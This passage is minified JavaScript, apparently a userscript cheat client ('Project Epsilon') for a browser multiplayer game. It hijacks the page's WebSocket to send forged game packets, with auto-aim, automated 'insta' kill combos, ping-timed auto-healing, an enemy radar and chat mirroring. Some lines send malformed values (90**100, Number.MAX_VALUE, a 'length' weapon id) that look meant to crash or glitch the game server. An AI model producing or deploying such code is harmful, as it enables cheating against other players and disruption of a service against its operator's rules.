reload > 0 && (!closestenemy || dist(closestenemy, myPlayer) > 200 ? (weapon = secondary, dns(["5", [secondary, !0]]), 0 == (reload -= 50) ? (weapon = primary, dns(["5", [primary, !0]]), irBool && chat(rChat)) : irBool && (15 == secondary && 1600 == reload ? chat("Reloading(Musket)") : 13 == secondary && 350 == reload ? chat("Reloading(Crossbow+)") : 12 == secondary && 800 == reload ? chat("Reloading(Crossbow)") : 9 == secondary && 700 == reload && chat("Reloading(Bow)"))) : (weapon = primary, dns(["5", [primary, !0]])))
}, 50), document.msgpack = msgpack, WebSocket.prototype.oldSend = WebSocket.prototype.send, WebSocket.prototype.send = function (e) {
ws || (document.ws = this, ws = this, socketFound(this), this.addEventListener("close", function () {
crashed = !0
})), this.oldSend(e)
};
var cvs = document.getElementById("gameCanvas")
, canvas = document.createElement("CANVAS");
canvas.id = "canvas", document.body.append(canvas), document.getElementById("canvas")
.style.zIndex = "-1", document.getElementById("canvas")
.style.pointerEvents = "none", document.getElementById("canvas")
.style.background = "transparent", canvas.style.left = "0px", canvas.style.top = "0px", canvas.style.position = "absolute";
var ctx = canvas.getContext("2d");
canvas.width = window.innerWidth, canvas.height = window.innerHeight;
var centreX = 100
, centreY = 100
, ctxDis = 70
, ctxHeight = 80
, ctxExt = 65
, ctxWidth = .1
, pos = document.createElement("a");
pos.style.color = "#B5B5B5", pos.style.fontSize = "25px", pos.style.display = "block", pos.innerHTML = "{0,0}", pos.style.position = "absolute", pos.style.left = "20px", pos.style.top = "200px", pos.style.zIndex = "-1", document.body.appendChild(pos);
var ping = document.getElementById("pingDisplay");
ping.replaceWith(document.createElement("a")), ping.style.fontSize = "20px", ping.style.display = "block", ping.style.zIndex = "1", document.body.appendChild(ping);
var delay = 100
, checkPing = new MutationObserver(function () {
delay = ping.textContent.split(" ")[1].split(String.fromCharCode(160))[0], (delay = parseInt(delay)) > 100 && wLag && chat("Warning : " + delay + " ms")
});
function drawArrow(e, n, o) {
var t = Math.atan((e - myPlayer.x) / (n - myPlayer.y));
n < myPlayer.y && (t > Math.PI ? t -= Math.PI : t += Math.PI);
var a = ctxExt * Math.sin(t + ctxWidth) + centreX
, i = ctxExt * Math.cos(t + ctxWidth) + centreY
, l = ctxExt * Math.sin(t - ctxWidth) + centreX
, p = ctxExt * Math.cos(t - ctxWidth) + centreY
, r = ctxDis * Math.sin(t) + centreX
, c = ctxDis * Math.cos(t) + centreY
, d = ctxHeight * Math.sin(t) + centreX
, s = ctxHeight * Math.cos(t) + centreY;
ctx.strokeStyle = o, ctx.beginPath(), ctx.moveTo(a, i), ctx.lineTo(r, c), ctx.lineTo(l, p), ctx.lineTo(d, s), ctx.lineTo(a, i), ctx.stroke()
}
function drawCircle(e, n, o, t, a) {
ctx.beginPath(), ctx.arc(centreX + (e - myPlayer.x) / 6.25, centreY + (n - myPlayer.y) / 6.25, 3, 0, 2 * Math.PI), ctx.strokeStyle = a, ctx.moveTo(centreX + (e - myPlayer.x) / 6.25, centreY + (n - myPlayer.y) / 6.25), ctx.lineTo(centreX + (2 * e - o - myPlayer.x) / 6.25, centreY + (2 * n - t - myPlayer.y) / 6.25), ctx.stroke()
}
function drawRadar() {
ctx.clearRect(0, 0, width, height), overlay(), ctx.lineWidth = 4, ctx.beginPath(), ctx.arc(centreX, centreY, 80, 0, 2 * Math.PI), ctx.strokeStyle = "#B3B3B3", ctx.stroke(), ctx.lineWidth = 1, ctx.beginPath(), ctx.arc(centreX, centreY, 5, 0, 2 * Math.PI), ctx.strokeStyle = "#0000FF", ctx.stroke();
for (var e = (new Date)
.getTime(); logTime && e - logTime[0] > 15e3;) logTime.shift(), logX.shift(), logY.shift();
for (var n = 0; n < logTime.length; n++) ctx.beginPath(), ctx.strokeStyle = "#FF0022", ctx.arc(20 + logX[n] / 14400 * 130, height - 150 + logY[n] / 14400 * 130, 1, 0, 2 * Math.PI), ctx.stroke()
}
function distance(e, n) {
return Math.sqrt(Math.pow(myPlayer.x - e, 2) + Math.pow(myPlayer.y - n, 2))
}
function setCooldown(e) {
var n = 0;
switch (e[3]) {
case 0:
n = 300;
break;
case 1:
case 2:
n = 400;
break;
case 3:
case 4:
n = 300;
break;
case 5:
n = 700;
break;
case 6:
n = 400;
break;
case 7:
n = 100;
break;
case 8:
n = 400;
break;
case 9:
n = 600;
break;
case 10:
n = 400;
break;
case 11:
n = 0;
break;
case 12:
n = 700;
break;
case 13:
n = 230;
break;
case 14:
n = 700;
break;
case 15:
n = 1500;
break;
default:
n = 0
}(n -= delay + 10) > 0 && (cooldown[e[1]] = !0, setTimeout(function () {
cooldown[e[1]] = !1
}, n))
}
function overlay() {}
function getDMG(e) {
switch (e) {
case 0:
return 25;
case 1:
return 30;
case 2:
case 3:
return 35;
case 4:
return 40;
case 5:
return 45;
case 6:
case 7:
return 20;
case 8:
return 0;
case 9:
return 25;
case 10:
return 10;
case 11:
return 0;
case 12:
return 35;
case 13:
return 30;
case 14:
return 0;
case 15:
return 50;
default:
return 0
}
}
function projSpeed(e) {
switch (e) {
case 9:
return 64;
case 12:
return 100;
case 13:
return 80;
case 15:
return 144
}
return 1e5
}
function dAng(e, n) {
var o = Math.abs(e - n);
return (o %= 2 * Math.PI) > Math.PI && (o = 2 * Math.PI - o), o
}
let pingDel = 100;
let pingChecker = new MutationObserver(function(){//thisispingcounter
pingDel = parseInt(ping.textContent.split(" ")[1].split(String.fromCharCode(160))[0]);
});
pingChecker.observe(document.getElementById("pingDisplay"), {attributes:false, childList:true, subtree:false});
let bullspam = 0;
let holding = false;
let holding2 = false;
let lastHealth = 0;
let delay2 = 0;
function handleMessage(e) {
var n = void 0
, o = msgpack5.decode(new Uint8Array(e.data));
o.length > 1 ? (n = [o[0]].concat(_toConsumableArray(o[1])))[1] instanceof Array && (n = n) : n = o;
var t = n[0];
if (n) switch (t) {
case "io-init":
document.getElementById("gameCanvas").addEventListener("mousedown", (e)=>{
if (e.button == 2) {
dns(["5", [secondary, true]]);
dns(["c", [1]]);
hat(53);
let oldAcc = myPlayer.accessory, oldHat = myPlayer.hat;
setTimeout(function () {
storeEquip(oldHat);
storeEquip(oldAcc, !0);
}, 120);
setTimeout(function () {
dns(["6", [4]]);
dns(["c", [1]]); dns(["c", [0]]);
}, 100);
setTimeout(function () {
dns(["6", [15]]);
dns(["c", [1]]); setTimeout(dns(["c", [0]]), 100);
setTimeout(()=>{
storeEquip(oldAcc, !0); storeEquip(oldHat);
}, 200);
}, 200);
};
});
width = cvs.clientWidth, height = cvs.clientHeight, overlay(), $(window)
.resize(function () {
width = cvs.clientWidth, height = cvs.clientHeight, overlay()
}), drawRadar(), cvs.addEventListener("mousemove", function (e) {
mX = e.clientX, mY = e.clientY
}), console.log(">============================<\nProject Epsilon Initialized\n>============================<");
break;
case "1":
null == myPlayer.id && (myPlayer.id = n[1]), console.log("ID :", myPlayer.id);
break;
case "ch":
if (document.getElementById("cMirr").checked) {
if (n[1] != myPlayer.id) {
dns(["ch", [n[2]]]);
};
};
break;
case "2":
null != names[n[1][1]] ? names[n[1][1]] != n[1][2] ? (console.log("{", names[n[1][1]], "} => {", n[1][2], "} [", n[1][1], "]"), cPlayer && chat("{" + names[n[1][1]] + "} => {" + n[1][2] + "}")) : (console.log("{", names[n[1][1]], "} returned"), cPlayer && chat("{" + names[n[1][1]] + "} returned")) : (console.log("{", n[1][2], "} [", n[1][1], "]"), cPlayer && chat("{" + n[1][2] + "} [" + n[1][1] + "]")), names[n[1][1]] = n[1][2], theirPrimary[n[1][1]] = 0, theirSecondary[n[1][1]] = void 0;
break;
case "6":
for (var a = 0; a < n[1].length / 8; a++) {
var i = n[1].slice(8 * a, 8 * a + 8);
buildings.push(i)
}
break;
case "7":
setCooldown(n), "counter" == mode && !inInsta && n[1] != myPlayer.id && n[3] > 1 && n[3] < 6 && distance(lastX[n[1]], lastY[n[1]]) < 300 && (inInsta = !0, autoaim = !0, weapon = primary, dns(["5", [primary, !0]]), dns(["13c", [0, 7, 0]]), dns(["13c", [0, 0, 1]]), dns(["13c", [0, 18, 1]]), dns(["7", [!0]]), setTimeout(function () {
dns(["13c", [0, 53, 0]]), dns(["13c", [0, 13, 1]]), dns(["7", [!0]]), autoaim = !1
}, 100), setTimeout(function () {
inInsta = !1
}, 200));
break;
case "9":
"kills" == n[1] && ezBool && chat(ezChat);
break;
case "11":
console.log("You Died"), weapon = 0, primary = 0, secondary = 0, foodType = 0, spikeType = 6, millType = 10, mineType = 13, boostType = 15, turretType = 17, respawn && !deathCrash && setTimeout(function () {
dns(["sp", [{
name: names[myPlayer.id]
, moofoll: !0
, skin: 0
}]]), console.log("Auto Respawning")
}, 3e3);
break;
case "12":
for (var l = 0; l < buildings.length; l++)
if (buildings[l][0] == n[1]) {
logX.push(buildings[l][1]), logY.push(buildings[l][2]);
var p = new Date;
logTime.push(p.getTime()), buildings.splice(l, 1), l--
} break;
case "13":
for (var r = 0; r < buildings.length; r++) buildings[r][7] == n[1] && (buildings.splice(r, 1), r--);
names[n[1]] ? (console.log("{", names[n[1]], "} raged"), cPlayer && chat("{" + names[n[1]] + "} raged"), names[n[1]] = void 0) : console.log("[", n[1], "] raged"), theirPrimary[n[1]] = 0, theirSecondary[n[1]] = void 0;
break;
case "16":
break;
case "17":
if (n[2]) {
var c = weapon == primary;
primary = n[1][0], secondary = n[1][1] || null, c ? weapon != primary && (weapon = primary) : weapon != secondary && (weapon = secondary)
} else
for (r = 0; r < n[1].length; r++) {
for (var d = 0; d < 3; d++) d == n[1][r] && (foodType = n[1][r]);
for (var s = 3; s < 6; s++) s == n[1][r] && (wallType = n[1][r]);
for (var u = 6; u < 10; u++) u == n[1][r] && (spikeType = n[1][r]);
for (var m = 10; m < 13; m++) m == n[1][r] && (millType = n[1][r]);
for (var v = 13; v < 15; v++) v == n[1][r] && (mineType = n[1][r]);
for (var h = 15; h < 17; h++) h == n[1][r] && (boostType = n[1][r]);
for (var y = 17; y < 23; y++) y == n[1][r] && 20 !== y && (turretType = n[1][r]);
spawnpadType = 20
}
break;
case "18":
inInsta && iReload && (15 == secondary && 1400 == n[4] ? reload = 1650 : 13 == secondary && 1200 == n[4] ? reload = 400 : 12 == secondary && 1200 == n[4] ? reload = 850 : 9 == secondary && 1e3 == n[4] && (reload = 750));
break;
case "33":
enemiesNear = [], nowX = [], nowY = [], drawRadar();
for (var f = 0; f < n[1].length / 13; f++) {
var b = n[1].slice(13 * f, 13 * f + 13);
b[0] == myPlayer.id ? (myPlayer.x = b[1], myPlayer.y = b[2], myPlayer.dir = b[3], myPlayer.object = b[4], myPlayer.weapon = b[5], myPlayer.clan = b[7], myPlayer.isLeader = b[8], myPlayer.hat = b[9], myPlayer.accessory = b[10], myPlayer.isSkull = b[11], nowX[myPlayer.id] = myPlayer.x, nowY[myPlayer.id] = myPlayer.y, ctx.beginPath(), ctx.strokeStyle = "#0000FF", ctx.moveTo(centreX, centreY), ctx.lineTo(centreX + (myPlayer.x - lastX[myPlayer.id]) / 6.25, centreY + (myPlayer.y - lastY[myPlayer.id]) / 6.25), ctx.stroke()) : b[7] != myPlayer.clan || null === b[7] ? (enemiesNear.push(b), distance(b[1], b[2]) > 500 ? drawArrow(b[1], b[2], "#FF0000") : drawCircle(b[1], b[2], lastX[b[0]], lastY[b[0]], "#FF0000"), nowX[b[0]] = b[1], nowY[b[0]] = b[2], antiBoostSpike && null != lastX[b[0]] && null != lastY[b[0]] && distance(b[1], b[2]) - distance(lastX[b[0]], lastY[b[0]]) < maxSpeed && (place(spikeType, Math.atan2(b[2] - myPlayer.y, b[1] - myPlayer.x) + toRad(90)), place(spikeType, Math.atan2(b[2] - myPlayer.y, b[1] - myPlayer.x) - toRad(90))), b[5] > 8 ? theirSecondary[b[0]] = b[5] : (3 == theirPrimary[b[0]] || 4 != b[5] || theirSecondary[b[0]] || (theirSecondary[b[0]] = 15), theirSecondary[b[0]] || 4 != b[5] && 5 != b[5] || (theirSecondary[b[0]] = 15), 0 == b[5] && (theirSecondary[b[0]] = void 0), theirPrimary[b[0]] = b[5])) : distance(b[1], b[2]) > 500 ? drawArrow(myPlayer.x, myPlayer.y, b[1], b[2], "#00EE00") : drawCircle(b[1], b[2], lastX[b[0]], lastY[b[0]], "#00EE00")
}
if (pos.innerHTML = "{" + myPlayer.x + "," + myPlayer.y + "}", lastX = nowX, lastY = nowY, sAim)
for (r in enemiesNear) enemiesNear[r][1] += (enemiesNear[r][1] - lastX[enemiesNear[r][0]]) * dist(enemiesNear[r], myPlayer) / projSpeed(weapon), enemiesNear[r][2] += (enemiesNear[r][2] - lastY[enemiesNear[r][0]]) * dist(enemiesNear[r], myPlayer) / projSpeed(weapon);
if (enemiesNear && (closestenemy = enemiesNear.sort(function (e, n) {
return dist(e, myPlayer) - dist(n, myPlayer)
})[0]), closestenemyAngle = closestenemy ? Math.atan2(closestenemy[2] - myPlayer.y, closestenemy[1] - myPlayer.x) : myPlayer.dir, "insta" == mode && !inInsta && closestenemy && dist(closestenemy, myPlayer) < 220 && !cooldown[myPlayer.id] && weapon != secondary && (inInsta = !0, iAim && (autoaim = !0), icBool && chat(iChat), dns(["13c", [0, 0, 1]]), dns(["7", [!0]]), iReverse ? (weapon = secondary, dns(["5", [secondary, !0]]), dns(["13c", [0, iHat2, 0]]), dns(["13c", [0, iAcc2, 1]]), setTimeout(function () {
dns(["13c", [0, iHat1, 0]]), dns(["13c", [0, iAcc1, 1]]), weapon = primary, dns(["5", [primary, !0]])
}, instaSpeedR / 2)) : (weapon = primary, dns(["5", [primary, !0]]), iSwitch || (iAim ? (placeStable(spikeType, closestenemyAngle + toRad(45)), placeStable(spikeType, closestenemyAngle - toRad(45))) : (placeStable(spikeType, Math.atan2(mY - height / 2, mX - width / 2) + toRad(45)), placeStable(spikeType, Math.atan2(mY - height / 2, mX - width / 2) - toRad(45)))), dns(["13c", [0, iHat1, 0]]), dns(["13c", [0, iAcc1, 1]]), setTimeout(function () {
dns(["13c", [0, iHat2, 0]]), dns(["13c", [0, iAcc2, 1]]), iSwitch && (weapon = secondary, dns(["5", [secondary, !0]]))
}, instaSpeed / 2)), setTimeout(function () {
autoaim = !1, dns(["13c", [0, dHat, 0]]), dns(["13c", [0, dAcc, 1]]), dns(["7", [!0]]), weapon = secondary, dns(["5", [secondary, !0]]);
var e = 0;
15 == secondary ? e = 1650 : 13 == secondary ? e = 400 : 12 == secondary ? e = 850 : 9 == secondary && (e = 750), setTimeout(function () {
weapon = primary, dns(["5", [primary, !0]]), setTimeout(function () {
inInsta = !1
}, 1e3)
}, e)
}, instaSpeed)), "counter" != mode || inInsta) {
if (!inInsta && ahat && "hat" != mode)
if (closestenemy && dist(closestenemy, myPlayer) < 300) {
var g = !1;
for (a = 0; a < n[1].length / 13; a++) {
var k = n[1].slice(13 * a, 13 * a + 13);
if (k[0] != myPlayer.id && Math.sqrt(Math.pow(myPlayer.y - k[2], 2) + Math.pow(myPlayer.x - k[1], 2)) < 300 && !cooldown[k[0]]) {
g = !0;
break
}
}
g && defence ? (dns(["13c", [0, dHat, 0]]), dns(["13c", [0, dAcc, 1]])) : offence && (dns(["13c", [0, oHat, 0]]), dns(["13c", [0, oAcc, 1]]))
} else speed && (myPlayer.y < 2400 ? (dns(["13c", [0, ssHat, 0]]), dns(["13c", [0, ssAcc, 1]])) : myPlayer.y > 6850 && myPlayer.y < 7550 ? (dns(["13c", [0, srHat, 0]]), dns(["13c", [0, srAcc, 1]])) : (dns(["13c", [0, snHat, 0]]), dns(["13c", [0, snAcc, 1]])))
} else closestenemy && dist(closestenemy, myPlayer) < 300 ? (dns(["13c", [0, 11, 0]]), dns(["13c", [0, 0, 1]]), dns(["13c", [0, 21, 1]])) : myPlayer.y < 2400 ? (dns(["13c", [0, ssHat, 0]]), dns(["13c", [0, ssAcc, 1]])) : myPlayer.y > 6850 && myPlayer.y < 7550 ? (dns(["13c", [0, srHat, 0]]), dns(["13c", [0, srAcc, 1]])) : (dns(["13c", [0, snHat, 0]]), dns(["13c", [0, snAcc, 1]]));
break;
case "ac":
names[n[1].owner] ? console.log("{", names[n[1].owner], "} created {", n[1].sid, "}") : console.log("[", n[1].owner, "] created {", n[1].sid, "}");
break;
case "ch":
if (n[1] == myPlayer.id)
if ("!clan " == n[2].substring(0, 6)) dns(["8", [n[2].substring(6)]]), setTimeout(function () {
chat("Clan : " + n[2].substring(6))
}, 500);
else if ("!unclan" == n[2].substring(0, 7)) dns(["9", [null]]), setTimeout(function () {
chat("Clan : null")
}, 500);
else if ("!join " == n[2].substring(0, 6)) {
var w = n[2].substring(6);
dns(["10", [w]]), setTimeout(function () {
chat("Clan : " + w)
}, 500)
} else if ("!kick " == n[2].substring(0, 6)) {
var S = n[2].substring(6)
, H = 0;
names.forEach(function (e, n) {
e == S && (setTimeout(function () {
dns(["12", [n]])
}, 1e3 * H), H++)
}), setTimeout(function () {
chat("Kick : " + S)
}, 500)
} else "!derp" == n[2].substring(0, 7) ? setTimeout(function () {
chat(derp ? "Derp : OFF" : "Derp : ON"), derp = !derp, document.getElementById("derp")
.checked = derp
}, 500) : "!setup stick" == n[2].substring(0, 12) ? (dns(["6", [8]]), dns(["6", [17]]), dns(["6", [31]]), dns(["6", [23]]), dns(["6", [10]]), dns(["6", [33]]), setTimeout(function () {
chat("Setup : Stick + Hammer")
}, 500)) : "!setup instaP" == n[2].substring(0, 13) ? (dns(["6", [5]]), dns(["6", [17]]), dns(["6", [31]]), dns(["6", [23]]), dns(["6", [9]]), dns(["6", [33]]), dns(["6", [28]]), dns(["6", [15]]), setTimeout(function () {
chat("Setup : Polearm + Musket")
}, 500)) : "!setup instaK" == n[2].substring(0, 13) ? (dns(["6", [3]]), dns(["6", [17]]), dns(["6", [31]]), dns(["6", [23]]), dns(["6", [9]]), dns(["6", [33]]), dns(["6", [4]]), dns(["6", [4]]), dns(["6", [15]]), setTimeout(function () {
chat("Setup : Katana + Musket")
}, 500)) : "!greataxe" == n[2].substring(0, 9) ? (dns(["6", [2]]), setTimeout(function () {
chat("Upgrade : Great Axe")
}, 500)) : "!katana" == n[2].substring(0, 7) ? (dns(["6", [4]]), setTimeout(function () {
chat("Upgrade : Katana")
}, 500)) : "!crossbowR" == n[2].substring(0, 10) ? (dns(["6", [13]]), setTimeout(function () {
chat("Upgrade : Repeater Crossbow")
}, 500)) : "!crossbow" == n[2].substring(0, 9) ? (dns(["6", [12]]), setTimeout(function () {
chat("Upgrade : Crossbow")
}, 500)) : "!musket" == n[2].substring(0, 7) ? (dns(["6", [15]]), setTimeout(function () {
chat("Upgrade : Musket")
}, 500)) : "!windmill" == n[2].substring(0, 9) ? (dns(["6", [28]]), setTimeout(function () {
chat("Upgrade : Power Mill")
}, 500)) : "!spikeS" == n[2].substring(0, 7) ? (dns(["6", [25]]), setTimeout(function () {
chat("Upgrade : Spinning Spikes")
}, 500)) : "!spikeP" == n[2].substring(0, 7) ? (dns(["6", [24]]), setTimeout(function () {
chat("Upgrade : Posion Spikes")
}, 500)) : "!autoheal" == n[2].substring(0, 9) ? setTimeout(function () {
chat(heal1 ? "Heal : OFF" : "Heal : ON"), heal1 = !heal1, document.getElementById("heal1")
.checked = heal1
}, 500) : "!place normal" == n[2].substring(0, 13) ? (pType = "0", setTimeout(function () {
chat("Place : Normal"), document.getElementById("pType")
.value = pType
}, 500)) : "!place legit" == n[2].substring(0, 12) ? (pType = "1", setTimeout(function () {
chat("Place : Legit"), document.getElementById("pType")
.value = pType
}, 500)) : "!place varience" == n[2].substring(0, 15) ? (pType = "2", setTimeout(function () {
chat("Place : Varience"), document.getElementById("pType")
.value = pType
}, 500)) : "!place derp" == n[2].substring(0, 11) ? (pType = "3", setTimeout(function () {
chat("Place : Derp"), document.getElementById("pType")
.value = pType
}, 500)) : "!heal normal" == n[2].substring(0, 12) ? (hType = "0", setTimeout(function () {
chat("Heal : Normal"), document.getElementById("hType")
.value = hType
}, 500)) : "!heal linear" == n[2].substring(0, 12) ? (hType = "1", setTimeout(function () {
chat("Heal : Linear"), document.getElementById("hType")
.value = hType
}, 500)) : "!heal quadratic" == n[2].substring(0, 15) ? (hType = "2", setTimeout(function () {
chat("Heal : Quadratic"), document.getElementById("hType")
.value = hType
}, 500)) : "!heal interval" == n[2].substring(0, 14) ? (hType = "3", setTimeout(function () {
chat("Heal : Interval"), document.getElementById("hType")
.value = hType
}, 500)) : "!heal slow" == n[2].substring(0, 10) ? (hType = "4", setTimeout(function () {
chat("Heal : Slow"), document.getElementById("hType")
.value = hType
}, 500)) : "!heal fast" == n[2].substring(0, 10) ? (hType = "5", setTimeout(function () {
chat("Heal : VERY FAST"), document.getElementById("hType")
.value = hType
}, 500)) : "!" == n[2].substring(0, 2) && setTimeout(function () {
placeStable(millType, Number.MAX_VALUE), dns(["ch", [""]]), dns(["8", [""]]), dns(["5", ["length", !0]]), weapon = "length"
}, 500);
break;
case "h":
var x = void 0;
let didFixed = false;
if (document.getElementById("extraAnti").checked) {
didFixed = true;
if(pingDel < 140){
delay2 = pingDel;
}else{
delay2 = 0;
};
if(n[2] == 50){
if(lastHealth == 25 && enemiesNear){
place(foodType, null);
bullspam += 1;
};
};
if (n[2] < 56 && n[2] > 0 && holding == false && closestenemy && bullspam < 5){//bullspam detector
if(myPlayer.hat != 6 && n[2] == 55){}else{
if(foodType == 17){// if cookie, heal once
holding = true
place(foodType, closestenemyAngle);
place(foodType, closestenemyAngle);
let lhat = myPlayer.hat
let lacc = myPlayer.accessory
if(myPlayer.hat != 7 && myPlayer.hat != 11){
dns(["13c", [0, 22, 0]]);
}
setTimeout( () => {
holding2 = true
}, 50);
setTimeout( () => {
bullspam += 1
place(foodType, closestenemyAngle);//heal again after 250
holding = false
holding2 = false
if (myPlayer.y < 2400){
hat(0)
hat(6)
hat(15);
} else if (myPlayer.y > 6850 && myPlayer.y < 7575){
hat(0)
hat(6)
hat(31)
} else {
hat(0)
hat(6)
hat(12);
}
acc(0)
acc(11);
if(lhat != 7 && lhat != 53){
hat(lhat)
acc(lacc)
}
else if(lhat == 7){
hat(lhat)
acc(lacc)
}
}, 200 + delay2);
}
if(foodType == 18){//if cheese, heal once
holding = true
place(foodType, closestenemyAngle);
place(foodType, closestenemyAngle);
let lhat = myPlayer.hat
let lacc = myPlayer.accessory
if(myPlayer.hat != 7 && myPlayer.hat != 11){
dns(["13c", [0, 22, 0]]);
}
setTimeout( () => {
holding2 = true
}, 30);
setTimeout( () => {
bullspam += 1
place(foodType, closestenemyAngle);//heal again at 250
holding = false
holding2 = false
if (myPlayer.y < 2400){
hat(0)
hat(6)
hat(15);
} else if (myPlayer.y > 6850 && myPlayer.y < 7575){
hat(0)
hat(6)
hat(31)
} else {
hat(0)
hat(6)
hat(12);
}
acc(0)
acc(11);
if(lhat != 7 && lhat != 53){
hat(lhat)
acc(lacc)
}
else if(lhat == 7){
hat(lhat)
acc(lacc)
}
}, 200 + delay2);
}
else{
holding = true// if cookie, heal 3 times
place(foodType, closestenemyAngle);
place(foodType, closestenemyAngle);
place(foodType, closestenemyAngle);
place(foodType, closestenemyAngle);
let lhat = myPlayer.hat
let lacc = myPlayer.accessory
if(myPlayer.hat != 7 && myPlayer.hat != 11){
dns(["13c", [0, 22, 0]]);
}
setTimeout( () => {
holding2 = true
}, 30);
setTimeout( () => {
bullspam += 3
place(foodType, closestenemyAngle);//heal once 250 ms after
holding = false
holding2 = false
if (myPlayer.y < 2400){
hat(0)
hat(6)
hat(15);
} else if (myPlayer.y > 6850 && myPlayer.y < 7575){
hat(0)
hat(6)
hat(31)
} else {
hat(0)
hat(6)
hat(12);
}
acc(0)
acc(11);
if(lhat != 7 && lhat != 53){
hat(lhat)
acc(lacc)
}
else if(lhat == 7){
hat(lhat)
acc(lacc)
}
}, 200 + delay2);
}
}
}
if(n[2] < 16 && n[2] > 0 && holding2 == false){
place(foodType, closestenemyAngle)
}
if(n[2] < 94 && n[2] > 0 && holding == false) {//this is autoheal
setTimeout( () => {
if(holding == false && n[2] < 94 && n[2] > 0){//holding makes sure dont heal when antiinsta in progress, or else clown faster
place(foodType, closestenemyAngle);
place(foodType, closestenemyAngle);
place(foodType, closestenemyAngle);
place(foodType, closestenemyAngle);
place(foodType, closestenemyAngle);
bullspam = bullspam - 2
}
}, 140 - delay2);
}
if(n[2] < 100 && n[2] > 94 && holding == false) {//if lost 6 dmg or higher, heal slowly. also doesnt clown as much.
setTimeout( () => {
if(holding == false && n[2] < 100 && n[2] > 94){
place(foodType, closestenemyAngle);
bullspam = bullspam - 2
}
}, 300 - delay2);
}
lastHealth = n[2];
};
switch (hType) {
case "0":
x = 120;
break;
case "1":
x = 2 * n[2];
break;
case "2":
x = (n[2] - 100) * (n[2] - 100) / -50 + 200;
break;
case "3":
x = n[2] < 50 ? 50 : 200;
break;
case "4":
x = 200;
break;
case "5":
x = 0;
break;
default:
console.log("HEAL ERROR")
}
setTimeout(function () {
if (!didFixed) heal();
}, x);
}
}
function dns(e) {
ws.send(new Uint8Array(Array.from(msgpack5.encode(e))))
}
function chat(e) {
dns(["ch", [e]])
}
function scramble(e) {
for (var n = /^[A-Za-z]+$/, o = "", t = e.length, a = 0; a < t; a++) e.charAt(a)
.match(n) ? Math.random() > .25 ? o += e.charAt(a) : o += acFill : o += e.charAt(a);
chat(o)
}
function acc(e) {
dns(["13c", [0, 0, 1]]), dns(["13c", [0, e, 1]])
}
function hat(e) {
dns(["13c", [0, e, 0]])
}
function place(e) {
var n = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : Math.atan2(mY - height / 2, mX - width / 2);
switch (pType) {
case "1":
n = null;
break;
case "2":
n += toRad(80 * Math.random() - 40);
break;
case "3":
n = toRad(dir = (324092385 / (dir * Math.E) - Math.cbrt(dir) * dir) % 360)
}
dns(["5", [e, null]]), dns(["c", [1, n]]), dns(["c", [0, n]]), dns(["5", [weapon, !0]])
}
function heal() {
56 == myPlayer.hat ? (storeEquip(0), dns(["5", [foodType]]), dns(["c", [1, null]]), dns(["c", [0, null]]), dns(["5", [weapon, !0]]), dns(["13c", [0, 56, 0]])) : (dns(["5", [foodType]]), dns(["c", [1, null]]), dns(["c", [0, null]]), dns(["5", [weapon, !0]])), heal2 && (56 == myPlayer.hat ? (storeEquip(0), dns(["5", [foodType]]), dns(["c", [1, null]]), dns(["c", [0, null]]), dns(["5", [weapon, !0]]), dns(["13c", [0, 56, 0]])) : (dns(["5", [foodType]]), dns(["c", [1, null]]), dns(["c", [0, null]]), dns(["5", [weapon, !0]])))
}
function boostSpike() {
placeStable(spikeType, closestenemyAngle + toRad(90)), placeStable(spikeType, closestenemyAngle - toRad(90)), placeStable(boostType, closestenemyAngle), dns(["33", [closestenemyAngle]])
}
function boostMill() {
var e = Math.atan2(mY - height / 2, mX - width / 2);
placeStable(millType, e + toRad(144)), placeStable(millType, e + toRad(144)), placeStable(millType, e + toRad(72)), placeStable(millType, e + toRad(72)), placeStable(boostType, e), dns(["33", [e]])
};
let hit360 = 0;
setInterval(()=>{
if (hit360 || (document.getElementById("shield360").checked && myPlayer.weapon == 11)) dns(["2", [90**100]]);
}, 25);
checkPing.observe(ping, {
attributes: !1
, childList: !0
, subtree: !1
}), cvs.addEventListener("mousedown", function (e) {
if (2 == e.button && !inInsta && onclick)
if (weapon == primary && 8 != weapon || "length" == weapon) weapon = primary, dns(["5", [primary, !0]]), inInsta = !0, dns(["2", [Math.atan2(mY - height / 2, mX - width / 2)]]), dns(["13c", [0, oHat, 0]]), dns(["13c", [0, 0, 1]]), dns(["13c", [0, oAcc, 1]]), dns(["7", [!0]]), setTimeout(function () {
ahat || (dns(["13c", [0, dHat, 0]]), dns(["13c", [0, dAcc, 1]])), dns(["7", [!0]]), inInsta = !1
}, 120);
else if (weapon == secondary) switch (weapon) {
case 15:
inInsta = !0, dns(["13c", [0, 1, 0]]), dns(["13c", [0, otAcc, 1]]), dns(["7", [!0]]), setTimeout(function () {
ahat || (dns(["13c", [0, dHat, 0]]), dns(["13c", [0, dAcc, 1]])), dns(["7", [!0]]), inInsta = !1
}, 120);
break;
case 10:
inInsta = !0, dns(["2", [Math.atan2(mY - height / 2, mX - width / 2)]]), dns(["13c", [0, tHat, 0]]), dns(["13c", [0, tAcc, 1]]), dns(["7", [!0]]), setTimeout(function () {
ahat || (dns(["13c", [0, dHat, 0]]), dns(["13c", [0, dAcc, 1]])), dns(["7", [!0]]), inInsta = !1
}, 120)
}
if (1 == e.button && (e.preventDefault(), dns(["5", ["length", !0]]), weapon = "length"), 0 == e.button && !inInsta && onclick)
if (weapon == primary && 8 != weapon || "length" == weapon) weapon = primary, dns(["5", [primary, !0]]), inInsta = !0, dns(["2", [Math.atan2(mY - height / 2, mX - width / 2)]]), dns(["13c", [0, tHat, 0]]), dns(["13c", [0, 0, 1]]), dns(["13c", [0, tAcc, 1]]), dns(["7", [!0]]), setTimeout(function () {
ahat || (dns(["13c", [0, dHat, 0]]), dns(["13c", [0, dAcc, 1]])), dns(["7", [!0]]), inInsta = !1
}, 120);
else if (weapon == secondary) switch (weapon) {
case 15:
inInsta = !0, dns(["13c", [0, otHat, 0]]), dns(["13c", [0, otAcc, 1]]), dns(["7", [!0]]), setTimeout(function () {
ahat || (dns(["13c", [0, dHat, 0]]), dns(["13c", [0, dAcc, 1]])), dns(["7", [!0]]), inInsta = !1
}, 120);
break;
case 10:
inInsta = !0, dns(["13c", [0, tHat, 0]]), dns(["13c", [0, tAcc, 1]]), dns(["7", [!0]]), setTimeout(function () {
ahat || (dns(["13c", [0, dHat, 0]]), dns(["13c", [0, dAcc, 1]])), dns(["7", [!0]]), inInsta = !1
}, 120)
}
}, !1);
var repeater = function (e, n, o) {
var t = !1
, a = void 0;
return {
start: function (i) {
